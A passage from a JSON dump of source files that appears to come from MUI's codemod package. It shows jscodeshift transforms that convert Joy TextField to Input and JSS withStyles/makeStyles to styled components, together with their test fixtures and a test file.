'slotProps',\n                  'slots',\n                  'label',\n                  'helperText',\n                  'id',\n                  'required',\n                ].includes(attributeName)\n              ) {\n                inputAttributeNodes.push(attributeNode);\n              }\n            });\n\n            elementPath.node.openingElement.attributes = inputAttributeNodes;\n\n            if (formControlAttributeNodes.length > 0 || formLabelValue || formHelperTextValue) {\n              const formControlIdentifier = j.jsxIdentifier('FormControl');\n              const childrenOfFormControl = [];\n\n              if (formLabelValue) {\n                const formLabelIdentifier = j.jsxIdentifier('FormLabel');\n                const formLabelElement = j.jsxElement(\n                  j.jsxOpeningElement(formLabelIdentifier, formLabelAttributeNodes),\n                  j.jsxClosingElement(formLabelIdentifier),\n                  [j.jsxText('\\n'), j.jsxText(formLabelValue), j.jsxText('\\n')],\n                );\n                childrenOfFormControl.push(formLabelElement, j.jsxText('\\n'));\n              }\n\n              childrenOfFormControl.push(elementPath.node, j.jsxText('\\n'));\n\n              if (formHelperTextValue) {\n                const formHelperTextIdentifier = j.jsxIdentifier('FormHelperText');\n                const formHelperTextElement = j.jsxElement(\n                  j.jsxOpeningElement(formHelperTextIdentifier, formHelperTextAttributeNodes),\n                  j.jsxClosingElement(formHelperTextIdentifier),\n                  [j.jsxText('\\n'), j.jsxText(formHelperTextValue), j.jsxText('\\n')],\n                );\n                childrenOfFormControl.push(formHelperTextElement);\n              }\n\n              elementPath.replace(\n                j.jsxElement(\n                  j.jsxOpeningElement(formControlIdentifier, formControlAttributeNodes),\n                  j.jsxClosingElement(formControlIdentifier),\n                  [j.jsxText('\\n'), ...childrenOfFormControl, j.jsxText('\\n')],\n                ),\n              );\n            }\n          });\n          if (newElementName) {\n            elementNode.local.name = newElementName;\n          }\n        }\n      });\n    });\n\n  const transformed = root.findJSXElements();\n\n  return transformed.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/joy-text-field-to-input.test/actual.js",
    "content": "import { TextField as JoyTextField } from \"@mui/joy\";\nimport JoyTextField2 from \"@mui/joy/TextField\";\n// the codemod should transform only Joy TextField\nimport TextField from \"@mui/material/TextField\";\n\n<div>\n  <JoyTextField\n    slotProps={{\n      root: { ['aria-hidden']: false },\n      label: { ['aria-hidden']: false },\n      input: { ['aria-hidden']: false },\n      helperText: { ['aria-hidden']: false },\n    }}\n    slots={{\n      root: 'span',\n      label: 'span',\n      input: 'span',\n      helperText: 'span',\n    }}\n    id=\"Id\"\n    label=\"Label\"\n    placeholder=\"Placeholder\"\n    helperText=\"Help!\"\n    name=\"Name\"\n    type=\"button\"\n    autoComplete=\"on\"\n    autoFocus={true}\n    error={true}\n    required={true}\n    fullWidth={true}\n    defaultValue=\"DefaultValue\"\n    size=\"sm\"\n    color=\"primary\"\n    variant=\"outlined\"\n  />\n  <JoyTextField2 />\n  <TextField />\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/joy-text-field-to-input.test/expected.js",
    "content": "import { Input as JoyInput } from \"@mui/joy\";\nimport JoyInput2 from \"@mui/joy/Input\";\n// the codemod should transform only Joy TextField\nimport TextField from \"@mui/material/TextField\";\n\n<div>\n  <FormControl\n    aria-hidden={false}\n    component={'span'}\n    id=\"Id\"\n    required={true}\n    size=\"sm\"\n    color=\"primary\">\n    <FormLabel aria-hidden={false} component={'span'} id=\"Id-label\">\n      Label\n    </FormLabel>\n    <JoyInput\n      aria-hidden={false}\n      component={'span'}\n      placeholder=\"Placeholder\"\n      name=\"Name\"\n      type=\"button\"\n      autoComplete=\"on\"\n      autoFocus={true}\n      error={true}\n      fullWidth={true}\n      defaultValue=\"DefaultValue\"\n      variant=\"outlined\" />\n    <FormHelperText aria-hidden={false} component={'span'} id=\"Id-helper-text\">\n      Help!\n    </FormHelperText>\n  </FormControl>\n  <JoyInput2 />\n  <TextField />\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/joy-text-field-to-input.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './joy-text-field-to-input';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('joy-text-field-to-input', () => {\n      it('transform Joy TextField into Joy Input', () => {\n        const actual = transform(\n          {\n            source: read('./joy-text-field-to-input.test/actual.js'),\n            path: require.resolve('./joy-text-field-to-input.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./joy-text-field-to-input.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.js",
    "content": "const nodePath = require('path');\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  /**\n   * @param {string} filePath\n   * @example computePrefixFromPath('/a/b/c/Anonymous.tsx') === 'Anonymous'\n   * @example computePrefixFromPath('/a/b/c/Anonymous.server.tsx') === 'Anonymous'\n   */\n  function computePrefixFromPath(filePath) {\n    return nodePath.basename(filePath, nodePath.extname(filePath)).split('.')[0];\n  }\n\n  /**\n   *\n   * @param {import('jscodeshift').CallExpression} withStylesCall\n   */\n  function getPrefix(withStylesCall) {\n    let prefix;\n\n    // 1. check from withStylesFn\n    if (withStylesCall && withStylesCall.arguments[1] && withStylesCall.arguments[1].properties) {\n      const name = withStylesCall.arguments[1].properties.find((prop) => prop.key.name === 'name');\n      prefix = name.value.value;\n    }\n\n    if (!prefix) {\n      // 2. check name from export default\n      root.find(j.ExportDefaultDeclaration).forEach((path) => {\n        prefix = path.node.declaration.name;\n      });\n    }\n\n    if (!prefix) {\n      // 3. use name export that is Capitalize\n      root.find(j.ExportNamedDeclaration).forEach((path) => {\n        if (path.node.declaration.type !== 'VariableDeclaration') {\n          return;\n        }\n        const name = path.node.declaration.declarations[0].id.name;\n        if (!prefix && name.match(/^[A-Z]/)) {\n          prefix = name;\n        }\n      });\n    }\n\n    if (!prefix) {\n      prefix = computePrefixFromPath(file.path);\n    }\n\n    return prefix;\n  }\n\n  function getFirstJsxName() {\n    const matches = file.source.match(/<\\/?(\\w*)[\\s\\S]*?>/gm);\n    if (matches) {\n      const closingTag = matches.slice(-1)[0];\n\n      // Self closing tag\n      if (closingTag.endsWith('/>') && closingTag !== '</>') {\n        const end = closingTag.indexOf(' ') > 0 ? closingTag.indexOf(' ') : closingTag.length - 1;\n        return closingTag.substring(1, end);\n      }\n\n      return closingTag.substring(2, closingTag.length - 1);\n    }\n    return null;\n  }\n\n  function getRootClassKeys() {\n    const name = getFirstJsxName();\n    if (name) {\n      const rootClassKeys = [];\n      root\n        .findJSXElements(name)\n        .at(0)\n        .forEach((path) => {\n          const existingClassName = path.node.openingElement.attributes.find(\n            (attr) => attr.name && attr.name.name === 'className',\n          );\n          if (existingClassName) {\n            if (existingClassName.value.type === 'StringLiteral') {\n              // className=\"string\"\n            }\n\n            if (existingClassName.value.type === 'JSXExpressionContainer') {\n              if (existingClassName.value.expression.type === 'StringLiteral') {\n                // className={'string'}\n              }\n\n              if (existingClassName.value.expression.type === 'MemberExpression') {\n                // className={classes.root}\n                if (existingClassName.value.expression.object.name === 'classes') {\n                  rootClassKeys.push(existingClassName.value.expression.property.name);\n                }\n              }\n\n              if (existingClassName.value.expression.type === 'CallExpression') {\n                // className={clsx(classes.root)}\n                existingClassName.value.expression.arguments.forEach((arg) => {\n                  if (arg.type === 'MemberExpression') {\n                    if (arg.object.name === 'classes') {\n                      rootClassKeys.push(arg.property.name);\n                    }\n                  }\n\n                  if (arg.type === 'ObjectExpression') {\n                    arg.properties.forEach((prop) => {\n                      if (prop.key.object && prop.key.object.name === 'classes') {\n                        rootClassKeys.push(prop.key.property.name);\n                      }\n                    });\n                  }\n                });\n              }\n            }\n          }\n        });\n      return rootClassKeys;\n    }\n    return [];\n  }\n\n  function isTagNameFragment(tagName) {\n    return tagName === 'React.Fragment' || tagName === 'Fragment' || tagName === '';\n  }\n\n  function isTagNameSuspense(tagName) {\n    return tagName === 'React.Suspense' || tagName === 'Suspense';\n  }\n\n  function createStyledComponent(componentName, styledComponentName, stylesFn) {\n    let styleArg = null;\n    const rootIsFragment = isTagNameFragment(componentName);\n\n    if (rootIsFragment) {\n      // The root is React.Fragment\n      styleArg = j.stringLiteral('div');\n    } else if (componentName.match(/^[A-Z]/)) {\n      // The root is a component\n      styleArg = j.identifier(componentName);\n    } else {\n      styleArg = j.stringLiteral(componentName);\n    }\n\n    const declaration = j.variableDeclaration('const', [\n      j.variableDeclarator(\n        j.identifier(styledComponentName),\n        j.callExpression(j.callExpression(j.identifier('styled'), [styleArg]), [stylesFn]),\n      ),\n    ]);\n\n    if (rootIsFragment) {\n      declaration.comments = [\n        j.commentLine(\n          ' TODO jss-to-styled codemod: The Fragment root was replaced by div. Change the tag if needed.',\n        ),\n      ];\n    }\n\n    return declaration;\n  }\n\n  const classesCount = {};\n  /**\n   *\n   * @param {import('jscodeshift').ObjectExpression} objExpression\n   * @param {import('jscodeshift').ObjectExpression} prevObj\n   */\n  function createClasses(objExpression, prevObj) {\n    const classes = prevObj || j.objectExpression([]);\n    objExpression.properties.forEach((prop) => {\n      if (!classesCount[prop.key.name]) {\n        classesCount[prop.key.name] = 1;\n      } else {\n        classesCount[prop.key.name] += 1;\n      }\n      const resolvedKey =\n        classesCount[prop.key.name] === 1\n          ? prop.key.name\n          : `${prop.key.name}${classesCount[prop.key.name]}`;\n      classes.properties.push(\n        j.objectProperty(\n          j.identifier(resolvedKey),\n          j.templateLiteral(\n            [\n              j.templateElement({ raw: '', cooked: '' }, false),\n              j.templateElement({ raw: `-${resolvedKey}`, cooked: `-${resolvedKey}` }, true),\n            ],\n            [j.identifier('PREFIX')],\n          ),\n        ),\n      );\n    });\n    return classes;\n  }\n\n  /**\n   *\n   * @param {import('jscodeshift').ArrowFunctionExpression | import('jscodeshift').FunctionDeclaration} functionExpression\n   */\n  function getReturnStatement(functionExpression) {\n    if (functionExpression.type === 'ObjectExpression') {\n      return functionExpression;\n    }\n    if (functionExpression.type === 'ArrowFunctionExpression') {\n      if (functionExpression.body.type === 'BlockStatement') {\n        const returnStatement = functionExpression.body.body.find(\n          (b) => b.type === 'ReturnStatement',\n        );\n        return returnStatement.argument;\n      }\n      if (functionExpression.body.type === 'ObjectExpression') {\n        return functionExpression.body;\n      }\n      if (functionExpression.body.type === 'CallExpression') {\n        if (functionExpression.body.callee.name === 'createStyles') {\n          return functionExpression.body.arguments[0];\n        }\n      }\n    }\n    if (functionExpression.type === 'FunctionDeclaration') {\n      const returnStatement = functionExpression.body.body.find(\n        (b) => b.type === 'ReturnStatement',\n      );\n      return returnStatement.argument;\n    }\n    if (functionExpression.type === 'CallExpression') {\n      if (functionExpression.callee.name === 'createStyles') {\n        return functionExpression.arguments[0];\n      }\n    }\n    return null;\n  }\n\n  /**\n   * @param {import('jscodeshift').ObjectExpression | import('jscodeshift').ArrowFunctionExpression | import('jscodeshift').FunctionDeclaration} expression\n   */\n  function getObjectExpression(expression) {\n    let objectExpression;\n    if (expression.type === 'ObjectExpression') {\n      objectExpression = expression;\n    }\n    if (expression.type === 'ArrowFunctionExpression') {\n      if (expression.body.type === 'BlockStatement') {\n        const returnStatement = expression.body.body.find((b) => b.type === 'ReturnStatement');\n        objectExpression = returnStatement.argument;\n      }\n      if (expression.body.type === 'ObjectExpression') {\n        expression.body.extra.parenthesized = false;\n        objectExpression = expression.body;\n      }\n    }\n    if (expression.type === 'FunctionDeclaration') {\n      expression.type = 'FunctionExpression';\n      const returnStatement = expression.body.body.find((b) => b.type === 'ReturnStatement');\n      objectExpression = returnStatement.argument;\n    }\n    return objectExpression;\n  }\n\n  const stylesCount = {};\n  /**\n   *\n   * @param {import('jscodeshift').ObjectExpression | import('jscodeshift').ArrowFunctionExpression | import('jscodeshift').FunctionDeclaration} functionExpression\n   * @param {string[]} rootKeys\n   * @param {import('jscodeshift').ObjectExpression | import('jscodeshift').ArrowFunctionExpression | import('jscodeshift').FunctionDeclaration} prevStyleArg\n   */\n  function convertToStyledArg(functionExpression, rootKeys, prevStyleArg) {\n    const objectExpression = getObjectExpression(functionExpression);\n\n    if (objectExpression) {\n      objectExpression.properties.forEach((prop) => {\n        if (!stylesCount[prop.key.name]) {\n          stylesCount[prop.key.name] = 1;\n        } else {\n          stylesCount[prop.key.name] += 1;\n        }\n        const resolvedKey =\n          stylesCount[prop.key.name] === 1\n            ? prop.key.name\n            : `${prop.key.name}${stylesCount[prop.key.name]}`;\n        const selector = rootKeys.includes(resolvedKey) ? '&.' : '& .';\n        prop.key = j.templateLiteral(\n          [\n            j.templateElement({ raw: selector, cooked: selector }, false),\n            j.templateElement({ raw: '', cooked: '' }, true),\n          ],\n          [j.identifier(`classes.${resolvedKey}`)],\n        );\n        prop.computed = true;\n        return prop;\n      });\n    }\n\n    if (functionExpression.params) {\n      functionExpression.params = functionExpression.params.map((param) => {\n        if (param.type === 'ObjectPattern') {\n          return j.objectPattern([j.objectProperty(j.identifier('theme'), param)]);\n        }\n        const prop = j.objectProperty(param, param);\n        prop.shorthand = true;\n        return j.objectPattern([prop]);\n      });\n    }\n\n    if (prevStyleArg) {\n      const prevObjectExpression = getObjectExpression(prevStyleArg);\n      if (objectExpression) {\n        // merge object\n        prevObjectExpression.properties = [\n          ...prevObjectExpression.properties,\n          ...objectExpression.properties,\n        ];\n      }\n\n      if (functionExpression.params && prevStyleArg.type === 'ObjectExpression') {\n        // turn prevStyleArg to ArrowFunction\n        prevStyleArg = j.arrowFunctionExpression(functionExpression.params, prevStyleArg);\n      }\n\n      return prevStyleArg;\n    }\n\n    return functionExpression;\n  }\n\n  const printOptions = options.printOptions || {\n    quote: 'single',\n  };\n\n  /**\n   * find withStyles, makeStyles arg variable\n   * ex. withStyles(styles, options)\n   * - styles: can be variable or () => { ... }\n   * - options: { name }\n   */\n\n  /**\n   * get the styles ASP\n   * - ArrowFunctionExpression\n   * - FunctionDeclaration\n   */\n\n  const withStylesCall = root.find(j.CallExpression, { callee: { name: 'withStyles' } }).nodes()[0];\n  const makeStylesCall = root.find(j.CallExpression, { callee: { name: 'makeStyles' } }).nodes()[0];\n\n  if (!withStylesCall && !makeStylesCall) {\n    return file.source;\n  }\n\n  const rootJsxName = getFirstJsxName();\n  if (isTagNameSuspense(rootJsxName)) {\n    return file.source;\n  }\n  const styledComponentName =\n    rootJsxName.match(/^[A-Z]/) && !isTagNameFragment(rootJsxName)\n      ? `Styled${rootJsxName}`.replace('.', '')\n      : 'Root';\n\n  const prefix = getPrefix(withStylesCall || makeStylesCall);\n  const rootClassKeys = getRootClassKeys();\n  const result = {};\n  const componentClassesCount = {};\n  const withStylesComponents = [];\n\n  if (withStylesCall) {\n    let stylesFnName;\n    root.find(j.CallExpression, { callee: { name: 'withStyles' } }).forEach((path) => {\n      const arg = path.node.arguments[0];\n      if (arg.type === 'Identifier') {\n        stylesFnName = arg.name;\n      }\n      const objectExpression = getReturnStatement(arg);\n      if (objectExpression) {\n        // do this first, because objectExpression will be mutated in `createClasses` below.\n        if (path.parent.parent && path.parent.parent.node.id) {\n          // save withStylesComponent name, to add classes on JSX\n          withStylesComponents.push({\n            variableName: path.parent.parent.node.id.name,\n            classes: j.objectExpression(\n              objectExpression.properties.map((prop) => {\n                if (!componentClassesCount[prop.key.name]) {\n                  componentClassesCount[prop.key.name] = 1;\n                } else {\n                  componentClassesCount[prop.key.name] += 1;\n                }\n                const resolvedKey =\n                  componentClassesCount[prop.key.name] === 1\n                    ? prop.key.name\n                    : `${prop.key.name}${componentClassesCount[prop.key.name]}`;\n                return j.property(\n                  'init',\n                  j.identifier(prop.key.name),\n                  j.memberExpression(j.identifier('classes'), j.identifier(resolvedKey)),\n                );\n              }),\n            ),\n          });\n        }\n\n        result.classes = createClasses(objectExpression, result.classes);\n        result.styledArg = convertToStyledArg(arg, rootClassKeys, result.styledArg);\n      }\n    });\n\n    root\n      .find(j.VariableDeclarator, { id: { name: stylesFnName } })\n      .forEach((path) => {\n        let fnArg = path.node.init;\n\n        const objectExpression = getReturnStatement(fnArg);\n        if (fnArg.type === 'ArrowFunctionExpression') {\n          if (fnArg.body.type === 'CallExpression') {\n            if (fnArg.body.callee.name === 'createStyles') {\n              fnArg.body = fnArg.body.arguments[0];\n            }\n          }\n        }\n        if (fnArg.type === 'CallExpression') {\n          if (fnArg.callee.name === 'createStyles') {\n            fnArg = fnArg.arguments[0];\n          }\n        }\n        if (objectExpression) {\n          result.classes = createClasses(objectExpression, result.classes);\n          result.styledArg = convertToStyledArg(fnArg, rootClassKeys);\n        }\n      })\n      .remove();\n\n    root\n      .find(j.FunctionDeclaration, { id: { name: stylesFnName } })\n      .forEach((path) => {\n        const returnStatement = path.node.body.body.find((b) => b.type === 'ReturnStatement');\n        result.classes = createClasses(returnStatement.argument, result.classes);\n        result.styledArg = convertToStyledArg(path.node, rootClassKeys);\n      })\n      .remove();\n  }\n\n  if (makeStylesCall) {\n    let stylesFnName;\n    root\n      .find(j.CallExpression, { callee: { name: 'makeStyles' } })\n      .at(0)\n      .forEach((path) => {\n        let arg = path.node.arguments[0];\n        if (arg.type === 'Identifier') {\n          stylesFnName = arg.name;\n        }\n        const objectExpression = getReturnStatement(arg);\n        if (arg.type === 'ArrowFunctionExpression') {\n          if (arg.body.type === 'CallExpression') {\n            if (arg.body.callee.name === 'createStyles') {\n              arg.body = arg.body.arguments[0];\n            }\n          }\n        }\n        if (arg.type === 'CallExpression') {\n          if (arg.callee.name === 'createStyles') {\n            arg = arg.arguments[0];\n          }\n        }\n        if (objectExpression) {\n          result.classes = createClasses(objectExpression, result.classes);\n          result.styledArg = convertToStyledArg(arg, rootClassKeys);\n        }\n      });\n\n    root\n      .find(j.VariableDeclarator, { id: { name: stylesFnName } })\n      .at(0)\n      .forEach((path) => {\n        const objectExpression = getReturnStatement(path.node.init);\n        if (objectExpression) {\n          result.classes = createClasses(objectExpression, result.classes);\n          result.styledArg = convertToStyledArg(path.node.init, rootClassKeys);\n        }\n      })\n      .remove();\n\n    root\n      .find(j.FunctionDeclaration, { id: { name: stylesFnName } })\n      .at(0)\n      .forEach((path) => {\n        const returnStatement = path.node.body.body.find((b) => b.type === 'ReturnStatement');\n        result.classes = createClasses(returnStatement.argument, result.classes);\n        result.styledArg = convertToStyledArg(path.node, rootClassKeys);\n      })\n      .remove();\n\n    root\n      .find(j.VariableDeclaration)\n      .filter((path) => path.node.declarations.some((d) => d.id.name === 'useStyles'))\n      .remove();\n  }\n\n  /**\n   * create `classes`\n   * create styled `Root`\n   */\n  root\n    .find(j.ImportDeclaration)\n    .at(-1)\n    .forEach((path) => {\n      path.insertAfter(\n        j.variableDeclaration('const', [\n          j.variableDeclarator(j.identifier('PREFIX'), j.stringLiteral(prefix)),\n        ]),\n        j.variableDeclaration('const', [\n          j.variableDeclarator(j.identifier('classes'), result.classes),\n        ]),\n        createStyledComponent(rootJsxName, styledComponentName, result.styledArg),\n      );\n    });\n\n  function transformJsxRootToStyledComponent(path) {\n    if (path.node.openingFragment) {\n      path.node.type = 'JSXElement';\n      path.node.openingElement = { type: 'JSXOpeningElement', name: styledComponentName };\n      path.node.closingElement = { type: 'JSXClosingElement', name: styledComponentName };\n    } else if (\n      path.node.openingElement &&\n      path.node.openingElement.name &&\n      path.node.openingElement.name.name === undefined\n    ) {\n      path.node.openingElement.name = styledComponentName;\n      if (path.node.closingElement) {\n        path.node.closingElement.name = styledComponentName;\n      }\n    } else {\n      path.node.openingElement.name.name = styledComponentName;\n      if (path.node.closingElement) {\n        path.node.closingElement.name.name = styledComponentName;\n      }\n    }\n  }\n\n  /**\n   * apply <StyledComponent />\n   */\n  if (rootJsxName === '') {\n    root.find(j.JSXFragment).at(0).forEach(transformJsxRootToStyledComponent);\n  } else if (rootJsxName.indexOf('.') > 0) {\n    let converted = false;\n    root.find(j.JSXElement).forEach((path) => {\n      if (!converted && path.node.openingElement.name.type === 'JSXMemberExpression') {\n        const tagName = `${path.node.openingElement.name.object.name}.${path.node.openingElement.name.property.name}`;\n        if (tagName === rootJsxName) {\n          converted = true;\n          transformJsxRootToStyledComponent(path);\n        }\n      }\n    });\n  } else {\n    root.findJSXElements(rootJsxName).at(0).forEach(transformJsxRootToStyledComponent);\n  }\n\n  /**\n   * Attach classes to components created by withStyles\n   * ex. const Button1 = withStyles(...)(Button)\n   */\n  withStylesComponents.forEach((data) => {\n    root.find(j.JSXOpeningElement, { name: { name: data.variableName } }).forEach((path) => {\n      if (!path.node.attributes) {\n        path.node.attributes = [];\n      }\n      path.node.attributes.push(\n        j.jsxAttribute(j.jsxIdentifier('classes'), j.jsxExpressionContainer(data.classes)),\n      );\n    });\n  });\n\n  /**\n   * import styled if not exist\n   */\n  const imports = root\n    .find(j.ImportDeclaration)\n    .filter(({ node }) => node.source.value.match(/^@material-ui\\/core\\/styles$/))\n    .forEach(({ node }) => {\n      const existed = node.specifiers.find((s) => s.imported.name === 'styled');\n      if (!existed) {\n        node.specifiers.push(j.importSpecifier(j.identifier('styled')));\n      }\n    });\n  if (!imports.size()) {\n    root\n      .find(j.ImportDeclaration)\n      .at(0)\n      .forEach((path) =>\n        path.insertAfter(\n          j.importDeclaration(\n            [j.importSpecifier(j.identifier('styled'))],\n            j.literal('@mui/material/styles'),\n          ),\n        ),\n      );\n  }\n\n  /**\n   * remove import\n   */\n  root\n    .find(j.ImportDeclaration)\n    .filter((path) =>\n      path.node.source.value.match(\n        /^(@material-ui|@mui)\\/styles\\/?(withStyles|makeStyles|createStyles)?$/,\n      ),\n    )\n    .forEach((path) => {\n      path.node.specifiers = path.node.specifiers.filter(\n        (s) =>\n          s.local.name !== 'withStyles' &&\n          s.local.name !== 'makeStyles' &&\n          s.local.name !== 'createStyles',\n      );\n    })\n    .filter((path) => !path.node.specifiers.length)\n    .remove();\n\n  /**\n   * remove withStyles calls that create new component\n   */\n  root.find(j.CallExpression, { callee: { name: 'withStyles' } }).forEach((path) => {\n    if (\n      path.parent.parent.parent.node.type === 'VariableDeclaration' &&\n      path.parent.parent.parent.parent.node.type !== 'ExportNamedDeclaration' &&\n      path.parent.node.arguments[0].type === 'Identifier'\n    ) {\n      path.parent.parent.node.init = j.identifier(path.parent.node.arguments[0].name);\n    }\n  });\n\n  return root\n    .toSource(printOptions)\n    .replace(/withStyles\\([^)]*\\),?/gm, '')\n    .replace(/([^=]{.*)classes[^.],?(.*})/gm, '$1$2')\n    .replace(/^.*useStyles(.*);?/gm, '');\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/Anonymous.actual.js",
    "content": "\nimport withStyles from '@material-ui/styles/withStyles';\n\nconst styles = {\n  root: {},\n};\n\nexport default withStyles(styles)((props) => {\n  const { classes } = props;\n  return <div className={classes.root}>Anonymous</div>;\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/Anonymous.expected.js",
    "content": "\nimport { styled } from '@mui/material/styles';\nconst PREFIX = 'Anonymous';\n\nconst classes = {\n  root: `${PREFIX}-root`\n};\n\nconst Root = styled('div')({\n  [`&.${classes.root}`]: {},\n});\n\nexport default ((props) => {\n  const { } = props;\n  return <Root className={classes.root}>Anonymous</Root>;\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/eighth.actual.js",
    "content": "import * as React from 'react';\nimport Typography from '@material-ui/core/Typography';\nimport MuiLink from '@material-ui/core/Link';\nimport Container from 'modules/components/Container';\nimport makeStyles from '@material-ui/styles/makeStyles';\nimport AppAppBar from 'modules/components/AppAppBar';\nimport OrderBody from 'modules/components/OrderBody';\nimport Button from 'modules/components/Button';\nimport actionTypes from 'modules/redux/actionTypes';\nimport { useDispatch, useSelector } from 'react-redux';\nimport OrderSummary from 'modules/components/OrderSummary';\nimport AppFooter from 'modules/components/AppFooter';\nimport Stepper from 'modules/components/Stepper';\nimport OrderLicense from 'modules/components/OrderLicense';\nimport Divider from 'modules/components/Divider';\nimport Paper from 'modules/components/Paper';\nimport intersperse from 'modules/components/intersperse';\nimport Link from 'modules/components/Link';\nimport api from 'modules/api';\nimport getCart from 'modules/getCart';\nimport Head from 'modules/components/Head';\nconst useStyles = makeStyles((theme) => ({\n  stepper: {\n    marginLeft: theme.spacing(5),\n    paddingRight: theme.spacing(3),\n    marginRight: 'auto',\n    minWidth: 400,\n  },\n  container: {\n    marginTop: theme.spacing(4),\n  },\n  checkout: {\n    marginTop: theme.spacing(3),\n  },\n  taxes: {\n    color: theme.palette.text.primary,\n    marginTop: theme.spacing(2),\n  },\n  divider: {\n    margin: theme.spacing(3, 0),\n  },\n}));\n\nexport default function Cart() {\n  const classes = useStyles();\n  const dispatch = useDispatch();\n  const {\n    cart,\n    cart: { entries: cartEntries = [] },\n  } = useSelector((state) => ({ cart: state.data.cart }));\n  React.useEffect(() => {\n    if (cart.entries == null) {\n      return;\n    }\n    window.dataLayer.push({\n      ecommerce: {\n        checkout: {\n          actionField: {\n            step: 1,\n          },\n          products: cart.entries.map((entry) => [\n            {\n              id: entry.slug,\n              name: entry.name,\n              price: entry.amount,\n              quantity: 1,\n            },\n          ]),\n        },\n      },\n    });\n  }, [cart.entries]);\n  const handleClickRemove = (entry) => async () => {\n    await api(entry.remove, {\n      transformation: 'text',\n    });\n    const newCart = await getCart();\n    dispatch({\n      type: actionTypes.CART_UPDATE,\n      payload: newCart,\n    });\n    window.dataLayer.push({\n      event: 'EEremoveFromCart',\n      ecommerce: {\n        remove: {\n          products: [\n            {\n              id: entry.slug,\n              name: entry.name,\n              price: entry.amount,\n              quantity: 1,\n            },\n          ],\n        },\n      },\n    });\n  };\n  return (\n    <React.Fragment>\n      <Head title=\"View cart\">\n        <meta name=\"robots\" content=\"noindex,nofollow\" />\n      </Head>\n      <AppAppBar essential>\n        <Stepper\n          className={classes.stepper}\n          steps={['View cart', 'Checkout', 'Confirmation']}\n          activeIndex={0}\n        />\n      </AppAppBar>\n      <Container className={classes.container} maxWidth=\"md\">\n        <OrderBody\n          cart={cart}\n          side={\n            <OrderSummary\n              cart={cart}\n              loading={!cart}\n              footer={\n                <React.Fragment>\n                  <Button\n                    variant=\"contained\"\n                    naked\n                    component={Link}\n                    to=\"/order-payment/\"\n                    fullWidth\n                    className={classes.checkout}\n                    disabled={cartEntries.length === 0}\n                  >\n                    {'Proceed to checkout'}\n                  </Button>\n                  <Typography\n                    display=\"block\"\n                    variant=\"caption\"\n                    className={classes.taxes}\n                    align=\"center\"\n                  >\n                    {'Taxes may apply before placing an order.'}\n                  </Typography>\n                </React.Fragment>\n              }\n            />\n          }\n        >\n          {cartEntries.length === 0 ? (\n            <React.Fragment>\n              <Typography variant=\"h4\" gutterBottom>\n                Your Cart\n              </Typography>\n              <Paper variant=\"outlined\" padding>\n                <Typography>\n                  {'Your cart is empty, return to '}\n                  <Link to=\"/\">the home page</Link>.\n                </Typography>\n              </Paper>\n            </React.Fragment>\n          ) : (\n            <React.Fragment>\n              <Typography variant=\"h4\" gutterBottom>\n                {'Your cart'}\n                {' ('}\n                {cartEntries.length}\n                {')'}\n              </Typography>\n              <Paper variant=\"outlined\" padding>\n                {intersperse(\n                  cartEntries.map((entry) => (\n                    <OrderLicense\n                      key={entry.slug}\n                      entry={entry}\n                      side={\n                        <Typography variant=\"subtitle1\">{`${entry.quantity} x $${entry.amount}`}</Typography>\n                      }\n                      action={\n                        <MuiLink\n                          variant=\"body2\"\n                          component=\"button\"\n                          className={classes.remove}\n                          onClick={handleClickRemove(entry)}\n                        >\n                          {'Remove'}\n                        </MuiLink>\n                      }\n                    />\n                  )),\n                  <Divider className={classes.divider} />,\n                )}\n              </Paper>\n            </React.Fragment>\n          )}\n        </OrderBody>\n      </Container>\n      <AppFooter />\n    </React.Fragment>\n  );\n}"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/eighth.expected.js",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Typography from '@material-ui/core/Typography';\nimport MuiLink from '@material-ui/core/Link';\nimport Container from 'modules/components/Container';\nimport AppAppBar from 'modules/components/AppAppBar';\nimport OrderBody from 'modules/components/OrderBody';\nimport Button from 'modules/components/Button';\nimport actionTypes from 'modules/redux/actionTypes';\nimport { useDispatch, useSelector } from 'react-redux';\nimport OrderSummary from 'modules/components/OrderSummary';\nimport AppFooter from 'modules/components/AppFooter';\nimport Stepper from 'modules/components/Stepper';\nimport OrderLicense from 'modules/components/OrderLicense';\nimport Divider from 'modules/components/Divider';\nimport Paper from 'modules/components/Paper';\nimport intersperse from 'modules/components/intersperse';\nimport Link from 'modules/components/Link';\nimport api from 'modules/api';\nimport getCart from 'modules/getCart';\nimport Head from 'modules/components/Head';\nconst PREFIX = 'eighth';\n\nconst classes = {\n  stepper: `${PREFIX}-stepper`,\n  container: `${PREFIX}-container`,\n  checkout: `${PREFIX}-checkout`,\n  taxes: `${PREFIX}-taxes`,\n  divider: `${PREFIX}-divider`\n};\n\n// TODO jss-to-styled codemod: The Fragment root was replaced by div. Change the tag if needed.\nconst Root = styled('div')((\n  {\n    theme\n  }\n) => ({\n  [`& .${classes.stepper}`]: {\n    marginLeft: theme.spacing(5),\n    paddingRight: theme.spacing(3),\n    marginRight: 'auto',\n    minWidth: 400,\n  },\n\n  [`& .${classes.container}`]: {\n    marginTop: theme.spacing(4),\n  },\n\n  [`& .${classes.checkout}`]: {\n    marginTop: theme.spacing(3),\n  },\n\n  [`& .${classes.taxes}`]: {\n    color: theme.palette.text.primary,\n    marginTop: 